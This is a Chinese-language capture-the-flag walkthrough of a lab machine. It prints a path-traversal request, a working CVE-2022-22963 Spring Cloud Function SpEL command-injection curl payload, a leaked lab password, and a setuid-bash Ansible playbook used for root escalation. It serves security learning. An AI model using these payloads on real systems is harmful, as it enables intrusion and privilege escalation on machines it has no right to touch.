OverView
说简单也不算简单吧。还是考察的很细。尤其是我真的没有想到可以目录遍历,以为只能读取特点文件,在那里上 ssrf 的字典卡了好久都找不到有效信息。
Useful Tools or Skills
- jadx 一个极好的用于反编译 jar 文件读取的工具
Enumeration
Nmap
没看出来什么,直接打开 8080 端口
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web
站点功能很少,主要存在一个文件上传的功能。我传了一个比较大的图片爆出了 500 错误和绝对路径 /var/www/WebApp/src/main/uploads/
并且报错页面似乎是 tomcat。那么先推测后端使用的是 Java 语言。
尝试了几下发现只允许上传后缀名为 jpg、png、webp 等文件。(其实即使可以上传其他文件也并不一定有用,因为不能保证后端可以执行 jsp)
但是却发现了一个读取上传内容的路径
LFD & Directory traversal
遇到这种 url 直接速速尝试能不能跨目录读取文件,发现成功了。
这里卡了好久,别人告诉我可以目录遍历,我的天 0.0
很快的我们通过目录遍历发现了原 jar 文件
CVE-2022-22963 SPEL Inject
但是由于文件太大了,不能够在 Burp Suite 上面显示。因此
curl 10.10.11.204:8080/show_image?img=../../../../../../var/www/WebApp/target/spring-webapp.jar
通过 jadx 进行反编译打开,发现源码并没有什么可以利用的地方,查看一下依赖,用的是 SpringBoot 框架,一般情况下是没有什么漏洞的,但是注意到这个奇怪的地方,他不用父目录的版本依赖,而是自己又挑了一个版本,很奇怪
用过 SpringBoot 框架的都知道,这里 Spirng cloud 官方的组件依赖可以不标注版本号。因此很有可能存在问题,我们去查一下。结果查出来了 CVE-2022-22963 — SPEL 命令注入。
影响范围
JDK 9 及以上版本 Spring框架的5.3.0至5.3.17、5.2.0至5.2.19版本,以及旧版本 Tomcat服务器
看看 java 版本,符合 jdk 大于 9
但是 spring.cloud.function.definition
并没有在 application.properties 文件中指定,去官网也没有发现默认值。
到后面才发现 functionRouter 是默认的
想了好久都不知道该怎么办,最后还是决定试一下这个 Payload,不行再说。
curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/shule")' --data-raw 'data' -v
然后读取发现成功了
Foothold
然后就是去 https://www.revshells.com/ 找到要用的反弹 shell payload
稍微修改一下 Payload 即可获得 shell。是 frank 用户,/home/frank 中并没有 flag,看样子需要尝试得到 /home 下的另外一个用户 phil 的用户权限。
user.txt
上传 linpeas.sh 并运行,发现了这些文件
读取 /home/frank/.m2/settings.xml
发现了 username 和 Password
phil:DocPhillovestoInject123
然后我尝试使用 ssh 连上去但是不行。卡了一会后朋友告诉我直接 su phil,然后就可以了
Privilege escalation
上传 pspy 可以看到 root 的进程有点奇怪的任务
ansible-playbook
经过一阵子的查找/usr/bin/ansible-playbook privilege escalation
找到了 https://github.com/iamnasef/ansible-privilege-escalation 给出了 payload.yml
---
- name: shell
hosts: localhost
become: yes
tasks:
- name: hack
shell: "cp /bin/bash . && chmod +sx bash"
使用 cat 命令写文件
一会发现执行了命令
成功提权
End
质量还是很不错的靶机。